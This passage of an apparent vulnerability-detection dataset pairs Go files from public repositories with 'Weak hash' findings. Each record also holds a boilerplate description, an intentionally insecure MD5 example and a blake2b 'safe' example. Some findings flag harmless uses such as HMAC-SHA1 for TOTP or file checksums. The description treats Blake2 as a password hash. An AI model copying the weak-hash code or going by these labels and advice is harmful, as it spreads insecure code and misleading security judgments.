{\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\t}\n\treturn false\n}\n\n//将项目名转换成md5串\nfunc ProjectName2Md5(projectName string) string {\n\thash := md5.New()\n\thash.Write([]byte(projectName))\n\tcipherText2 := hash.Sum(nil)\n\tmd5Sign := make([]byte, 32)\n\thex.Encode(md5Sign, cipherText2)\n\treturn string(md5Sign)\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "9d696d89c12307be618b15570ea4af7425e84c895663a9c84c134460010b8073", "license": {"spdx": ["MIT"], "repo": "tristanwietsma/otp", "path": "auth_test.go", "repo_head_hexsha": "7cd6aa16c703bafbb727d68c829db9cb7676ff0a", "stack_hexsha": "e8ba2780f27f1b3f81d692ad6f0fefc052b37b92", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package otp\n\nimport (\n\t\"crypto/sha1\"\n\t\"testing\"\n)\n\nfunc TestGetInterval(t *testing.T) {\n\tiv, r := GetInterval(30)\n\tif iv < 0 {\n\t\tt.Error(\"Time interval is negative.\")\n\t}\n\tif r < 0 {\n\t\tt.Error(\"Negative time remaining.\")\n\t}\n}\n\nfunc TestGetCode(t *testing.T) {\n\tcode, err := GetCode(\"MFRGGZDFMZTWQ2LK\", 1, sha1.New, 6)\n\tif err != nil || code != \"765705\" {\n\t\tt.Errorf(\"Code did not match for first interval:\\n%v\\n%v\", code, err)\n\t}\n\n\tcode, err = GetCode(\"MFRGGZDFMZTWQ2LK\", 2, sha1.New, 6)\n\tif err != nil || code != \"816065\" {\n\t\tt.Errorf(\"Code did not match for second interval:\\n%v\\n%v\", code, err)\n\t}\n}\n\nfunc TestBadSecretInGetCode(t *testing.T) {\n\tcode, err := GetCode(\"abc123\", 1, sha1.New, 6)\n\tif err == nil {\n\t\tt.Errorf(\"Decoding worked for bad base32:\\n%v\\n%v\", code, err)\n\t}\n}\n\nfunc TestShortDigits(t *testing.T) {\n\tcode, err := GetCode(\"MFRGGZDFMZTWQ2LK\", 19, sha1.New, 6)\n\tif len(code) != 6 || err != nil {\n\t\tt.Errorf(\"Code length is not 6 digits as expected.\\n%v\\n%v\", code, err)\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "e6a6c51b362495acc5a09df736a59f40ce37edaf0640bebb91f511713425441c", "license": {"spdx": ["MIT"], "repo": "halkeye/netlify-golang-deploy", "path": "main.go", "repo_head_hexsha": "1b7ad371b815a6ffb4017ebd49f3bf9796f22845", "stack_hexsha": "6d4dad55346fd7f8f2b9c7d5986c578b188c13bc", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package main\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/urfave/cli/v2\"\n\n\t\"github.com/go-openapi/runtime\"\n\topenapiClient \"github.com/go-openapi/runtime/client\"\n\t\"github.com/go-openapi/strfmt\"\n\tnetlify \"github.com/netlify/open-api/go/models\"\n\t\"github.com/netlify/open-api/go/plumbing\"\n\t\"github.com/netlify/open-api/go/plumbing/operations\"\n\n\t\"github.com/pkg/errors\"\n)\n\nfunc mustGetSha1(filename string) string {\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\tpanic(errors.Wrap(err, \"Unable to open file to sha it\"))\n\t}\n\tdefer f.Close()\n\n\thash := sha1.New()\n\tif _, err := io.Copy(hash, f); err != nil {\n\t\tpanic(errors.Wrap(err, \"unable to copy to sha\"))\n\t}\n\treturn fmt.Sprintf(\"%x\", hash.Sum(nil))\n}\n\n/*\nfunc debug(i interface{}) {\n\tjsonStr, _ := json.Marshal(i)\n\tlog.Printf(string(jsonStr))\n}\n*/\n\nfunc authInfo(netlifyAccessToken string) runtime.ClientAuthInfoWriter {\n\treturn runtime.ClientAuthInfoWriterFunc(func(r runtime.ClientRequest, _ strfmt.Registry) error {\n\t\terr := r.SetHeaderParam(\"User-Agent\", \"User-Agent: netlifyGolangDeploy/0.0.0\")\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Unable to set useragent header\")\n\t\t}\n\n\t\terr = r.SetHeaderParam(\"Authorization\", \"Bearer \"+netlifyAccessToken)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Unable to set authorization header\")\n\t\t}\n\n\t\treturn nil\n\t})\n}\n\ntype uploadQueueAction func() error\n\ntype config struct {\n\tToken string\n\tSite string\n\tDirectory string\n\tBranch string\n\tTitle string\n\tQueueSize int\n\tDraft bool\n}\n\ntype shaData struct {\n\trealfilename string\n\turi string\n}\n\nfunc (cfg *config) findSite(siteName string) (*netlify.Site, error) {\n\tpage := int32(1)\n\tperPage := int32(25)\n\tfilter := \"all\"\n\n\tfor {\n\t\t// List sites\n\t\tsites, err := netlifyClient().Operations.ListSites(\n\t\t\toperations.NewListSitesParams().WithPage(&page).WithPerPage(&perPage).WithFilter(&filter),\n\t\t\tauthInfo(cfg.Token),\n\t\t)\n\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Unable to get a list of sites\")\n\t\t}\n\n\t\tif len(sites.GetPayload()) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tfor _, site := range sites.GetPayload() {\n\t\t\tif site.Name == siteName {\n\t\t\t\treturn site, nil\n\t\t\t}\n\t\t}\n\n\t\tpage++\n\t\tlog.Printf(\"[DEBUG] Site wasn't found, looking for site '%s' with page '%d' and per_page '%d'\", siteName, page, perPage)\n\t}\n}\n\nfunc netlifyClient() *plumbing.Netlify {\n\tnetlifyAPIHost := \"api.netlify.com\"\n\tnetlifyAPIPath := \"/api/v1\"\n\n\thttpClient := &http.Client{}\n\n\ttransport := openapiClient.NewWithClient(netlifyAPIHost, netlifyAPIPath, plumbing.DefaultSchemes, httpClient)\n\tclient := plumbing.New(transport, strfmt.Default)\n\n\treturn client\n}\n\nfunc (cfg *config) getDeploy(deployID string, wantedStatus string) (*netlify.Deploy, error) {\n\tfor {\n\t\tdeploy, err := netlifyClient().Operations.GetDeploy(\n\t\t\toperations.NewGetDeployParams().WithDeployID(deployID),\n\t\t\tauthInfo(cfg.Token),\n\t\t)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"Unable to check deploy\")\n\t\t}\n\n\t\tif deploy.GetPayload().State == wantedStatus {\n\t\t\t// site is ready\n\t\t\treturn deploy.GetPayload(), nil\n\t\t}\n\n\t\t// site is done somehow\n\t\tif deploy.GetPayload().State == \"ready\" {\n\t\t\treturn deploy.GetPayload(), nil\n\t\t}\n\n\t\ttime.Sleep(time.Duration(1) * time.Second)\n\t}\n}\n\nfunc (cfg *config) wrapUploadJob(deployID string, realFilename string, uri string) func() error {\n\tauth := authInfo(cfg.Token)\n\n\treturn func() error {\n\t\tf, err := os.Open(realFilename)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"Unable to open file\")\n\t\t}\n\n\t\tbody := operations.NewUploadDeployFileParams().WithDeployID(deployID).WithPath(uri).WithFileBody(f)\n\n\t\t_, err = netlifyClient().Operations.UploadDeployFile(body, auth)\n\n\t\treturn errors.Wrap(err, \"Unable to upload file\")\n\t}\n}\n\nfunc filesInDirectory(dir string) (map[string]string, map[string]*shaData, error) {\n\tfilenameToSha := map[string]string{}\n\tshaToFilename := map[string]*shaData{}\n\n\terr := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif info.IsDir() {\n\t\t\treturn nil\n\t\t}\n\n\t\tkey, err := filepath.Rel(dir, path)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tkey = \"/\" + key\n\t\tfilenameToSha[key] = mustGetSha1(path)\n\t\tshaToFilename[mustGetSha1(path)] = &shaData{\n\t\t\trealfilename: path,\n\t\t\turi: key,\n\t\t}\n\n\t\treturn nil\n\t})\n\n\treturn filenameToSha, shaToFilename, err\n}\n\nfunc main() {\n\tapp := &cli.App{\n\t\tName: \"deploy\",\n\t\tUsage: \"deploy a directory to netlify\",\n\t\tAction: deploy,\n\t\tAuthors: []*cli.Author{\n\t\t\t{\n\t\t\t\tName: \"\",\n\t\t\t\tEmail: \"\",\n\t\t\t},\n\t\t},\n\t\tFlags: []cli.Flag{\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"deployDir\",\n\t\t\t\tAliases: []string{\"d\"},\n\t\t\t\tUsage: \"directory to be deployed to netlify\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_DIRECTORY\"},\n\t\t\t\tValue: \"./public\",\n\t\t\t},\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"token\",\n\t\t\t\tAliases: []string{\"t\"},\n\t\t\t\tUsage: \"api token to connect to netlify\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_AUTH_TOKEN\"},\n\t\t\t\tDefaultText: \"[censored]\",\n\t\t\t\tRequired: true,\n\t\t\t},\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"siteName\",\n\t\t\t\tAliases: []string{\"s\"},\n\t\t\t\tUsage: \"Site name to deploy to\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_SITE\"},\n\t\t\t\tRequired: true,\n\t\t\t},\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"alias\",\n\t\t\t\tAliases: []string{\"a\"},\n\t\t\t\tUsage: \"Site alias to deploy to\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_ALIAS\"},\n\t\t\t\tRequired: false,\n\t\t\t},\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"title\",\n\t\t\t\tUsage: \"Title to label deploy as in logs\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_TITLE\"},\n\t\t\t\tRequired: false,\n\t\t\t},\n\t\t\t&cli.StringFlag{\n\t\t\t\tName: \"queueSize\",\n\t\t\t\tUsage: \"Number of parallel upload processes to use\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_QUEUE_SIZE\"},\n\t\t\t\tValue: \"5\",\n\t\t\t\tRequired: false,\n\t\t\t},\n\t\t\t&cli.BoolFlag{\n\t\t\t\tName: \"draft\",\n\t\t\t\tUsage: \"Should this deployed as a draft?\",\n\t\t\t\tEnvVars: []string{\"NETLIFY_DRAFT\"},\n\t\t\t\tValue: true, // old code forced it, we'll default it to false in the future\n\t\t\t\tRequired: false,\n\t\t\t},\n\t\t},\n\t}\n\n\terr := app.Run(os.Args)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc deploy(c *cli.Context) error {\n\tcfg := config{\n\t\tToken: c.String(\"token\"),\n\t\tSite: c.String(\"siteName\"),\n\t\tDirectory: c.String(\"deployDir\"),\n\t\tBranch: c.String(\"alias\"),\n\t\tTitle: c.String(\"title\"),\n\t\tQueueSize: c.Int(\"queueSize\"),\n\t\tDraft: c.Bool(\"draft\"),\n\t}\n\n\tsite, err := cfg.findSite(cfg.Site)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Unable to find the site\")\n\t}\n\n\tif site == nil {\n\t\treturn fmt.Errorf(\"No site found for %s\", cfg.Site)\n\t}\n\n\tfilenameToSha, shaToFilename, err := filesInDirectory(cfg.Directory)\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Unable to walk directory\")\n\t}\n\n\tdeploy, err := netlifyClient().Operations.CreateSiteDeploy(\n\t\toperations.NewCreateSiteDeployParams().WithSiteID(site.ID).WithTitle(&cfg.Title).WithDeploy(&netlify.DeployFiles{\n\t\t\tAsync: true,\n\t\t\tBranch: cfg.Branch,\n\t\t\tDraft: cfg.Draft,\n\t\t\tFiles: filenameToSha,\n\t\t\tFunctions: nil,\n\t\t}),\n\t\tauthInfo(cfg.Token),\n\t)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Unable to create deploy\")\n\t}\n\n\tif deploy.GetPayload().State == \"ready\" {\n\t\tlog.Print(\"Done deploying site to \" + deploy.GetPayload().DeployURL)\n\t}\n\n\tdeployID := deploy.GetPayload().ID\n\n\tpreparedDeploy, err := cfg.getDeploy(deployID, \"prepared\")\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Unable to get deploy\")\n\t}\n\n\tjobChan := make(chan uploadQueueAction, cfg.QueueSize)\n\n\tvar wg sync.WaitGroup\n\tfor i := 0; i < cfg.QueueSize; i++ {\n\t\twg.Add(1)\n\n\t\tgo func() {\n\t\t\tdefer wg.Done()\n\n\t\t\tfor job := range jobChan {\n\t\t\t\terr := job()\n\t\t\t\tif err != nil {\n\t\t\t\t\t// FIXME - cancel everthing\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n\n\tfor _, sha := range preparedDeploy.Required {\n\t\tlog.Printf(\"Enqueuing upload of %s\", shaToFilename[sha].realfilename)\n\t\tjobChan <- cfg.wrapUploadJob(deployID, shaToFilename[sha].realfilename, shaToFilename[sha].uri)\n\t}\n\n\tclose(jobChan)\n\n\twg.Wait()\n\n\tlog.Print(\"Done uploading. Waiting for site to be ready\")\n\n\t_, err = cfg.getDeploy(deployID, \"ready\")\n\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"finish deployment\")\n\t}\n\n\tlog.Printf(\"Site is deployed - %s\", deploy.GetPayload().DeployURL)\n\n\treturn nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "c402d7a31567ce28b53e11ef11a961113e7bca840c2a376aa833365dcebe4a96", "license": {"spdx": ["MIT"], "repo": "sai-bhargav/go-otp", "path": "totp/authenticator.go", "repo_head_hexsha": "6256109ca86f285f9e4362e098390f89a7e83368", "stack_hexsha": "c6c6e84f69b3cc5f93fc8e86faec0224071b3917", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 5, "entireCode": "package authenticator\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"time\"\n\t\"math\"\n\t\"strings\"\n\t\"encoding/base32\"\n\t\"encoding/binary\"\n)\n\nfunc AuthenticatorTotp(accessToken string) int32 {\n\n\td, err := base32.StdEncoding.DecodeString(strings.ToUpper(accessToken))\n\n\tif err != nil{\n\t\tpanic(\"Cannot decode the access token\")\n\t}\n\n\th := hmac.New(sha1.New, d)\n\n\tcounter := int(time.Now().Unix() / int64(30))\n\n\tbyteArr := make([]byte, 8)\n\tbinary.BigEndian.PutUint64(byteArr, uint64(counter))\n\n\th.Write(byteArr)\n\n\tsum := h.Sum(nil)\n\n\toffset := sum[len(sum)-1] & 0xf\n\tvalue := int64(((int(sum[offset]) & 0x7f) << 24) |\n\t\t((int(sum[offset+1] & 0xff)) << 16) |\n\t\t((int(sum[offset+2] & 0xff)) << 8) |\n\t\t(int(sum[offset+3]) & 0xff))\n\n\tl := 6\n\totp := int32(value % int64(math.Pow10(l)))\n\n\treturn otp\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "bd7a93450bd16adc03841441f76835c0944cd8e89b2d2f0d992daa54f7c5c432", "license": {"spdx": ["MIT"], "repo": "lordspacehog/certographer", "path": "certographer.go", "repo_head_hexsha": "b3d3499fbb0f0f6f166621df295d1fdec54a9e30", "stack_hexsha": "cdd8275666e872990246d8c38cd190e7f9a7a35d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 8, "entireCode": "// Package certographer provides methods for generating a Certificate Authority and managing SSL certificates\npackage ca\n\nimport (\n\t//\"crypto/ecdsa\"\n\t\"crypto/rand\"\n\t\"crypto/rsa\"\n\t\"crypto/sha1\"\n\t\"crypto/x509\"\n\t\"crypto/x509/pkix\"\n\t\"encoding/asn1\"\n\t// \"encoding/pem\"\n\t// \"errors\"\n\t\"math/big\"\n\t\"time\"\n)\n\ntype CA struct {\n\tprivateKey interface{}\n\tcertificate *x509.Certificate\n\tdatastore Datastore\n}\n\ntype AuthorityKeyIdentifier struct {\n\tKeyIdentifier []byte\n\tAuthorityCertIssuer []byte\n\tAuthorityCertSerialNumber []byte\n}\n\nfunc InitRSA(datastore Datastore, bitDepth int, subject pkix.Name) (*CA, error) {\n\tprivateKey, err := rsa.GenerateKey(rand.Reader, bitDepth)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpublicKey := privateKey.PublicKey\n\n\ttemplate, err := newCertificate()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tpublicKeyBytes, err := asn1.Marshal(publicKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tsubjectKeyID := sha1.Sum(publicKeyBytes)\n\tauthCrtIssuer, err := asn1.Marshal(subject)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tauthCrtSN, err := asn1.Marshal(template.SerialNumber)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tauthKeyID := AuthorityKeyIdentifier{\n\t\tKeyIdentifier: subjectKeyID[:],\n\t\tAuthorityCertIssuer: authCrtIssuer,\n\t\tAuthorityCertSerialNumber: authCrtSN,\n\t}\n\n\tauthorityKeyIdentifier, err := asn1.Marshal(authKeyID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttemplate.Subject = subject\n\ttemplate.BasicConstraintsValid = true\n\ttemplate.IsCA = true\n\ttemplate.KeyUsage = x509.KeyUsageCertSign | x509.KeyUsageCRLSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature\n\ttemplate.SubjectKeyId = subjectKeyID[:]\n\ttemplate.AuthorityKeyId = authorityKeyIdentifier\n\ttemplate.NotBefore = time.Now().Add(-5 * time.Minute).UTC()\n\ttemplate.NotAfter = time.Now().AddDate(10, 0, 0).UTC()\n\n\tcertBytes, err := x509.CreateCertificate(rand.Reader, template, template, &publicKey, privateKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcertificate, err := x509.ParseCertificate(certBytes)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdatastore.StoreCAKey(privateKey)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdatastore.StoreCACert(certificate)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tca, err := New(datastore)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ca, nil\n}\n\nfunc New(datastore Datastore) (*CA, error) {\n\tpk, err := datastore.GetCAKey()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcert, err := datastore.GetCACert()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &CA{\n\t\tprivateKey: pk,\n\t\tcertificate: cert,\n\t\tdatastore: datastore,\n\t}, nil\n}\n\nfunc newCertificate() (*x509.Certificate, error) {\n\tserialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128)\n\tserialNumber, err := rand.Int(rand.Reader, serialNumberLimit)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcertificate := x509.Certificate{\n\t\tSerialNumber: serialNumber,\n\t}\n\treturn &certificate, nil\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "70c359edf9f9ebae60d0f31ca83b2df253ae0c0a03fadf46d81b6d293dc6195e", "license": {"spdx": ["MIT"], "repo": "cuihovah/hcham", "path": "common/function.go", "repo_head_hexsha": "1d6d57a855dda05d95e3fb85615f20dd020aee79", "stack_hexsha": "833ba842e1fdb20bfdf76c257d18f6bf004b9e27", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 4, "entireCode": "package common\n\nimport (\n\t\"crypto/md5\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n)\n\nfunc MD5V(str string) string {\n\th := md5.New()\n\th.Write([]byte(str))\n\treturn hex.EncodeToString(h.Sum(nil))\n}\n\nfunc FileLoad(filepath string) []byte {\n\tprivatefile, err := os.Open(filepath)\n\tdefer privatefile.Close()\n\tif err != nil {\n\t\treturn nil\n\t}\n\tprivateKey := make([]byte, 2048)\n\tnum, err := privatefile.Read(privateKey)\n\treturn privateKey[:num]\n}\n\nfunc ParseSession(r *http.Request, name string) (*SessionData, error) {\n\tsession, err := r.Cookie(name)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tstr, _ := url.QueryUnescape(session.Value)\n\tret := &SessionData{}\n\terr = json.Unmarshal([]byte(str), ret)\n\treturn ret, err\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "1145515d6b2680f92fcf6eb661b3341f4374a3dab48ebc9fb7e68160675c81ed", "license": {"spdx": ["BSD-3-Clause"], "repo": "noahtseng/core", "path": "v23/vom/fuzzdump_test.go", "repo_head_hexsha": "f6156e31be2e9f62a8442ec242f6be7ebe1c6db4", "stack_hexsha": "1b6e908979567a67d675e30afe76caae26f733b4", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 10, "entireCode": "// Copyright 2015 The Vanadium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build fuzzdump\n\npackage vom_test\n\nimport (\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"testing\"\n\n\t\"v.io/v23/vom/vomtest\"\n)\n\n// Add the vom tests as binary examples for the fuzzer.\n// This is more of a script than a test, but is written as a test\n// to access binFromHexPat.\nfunc 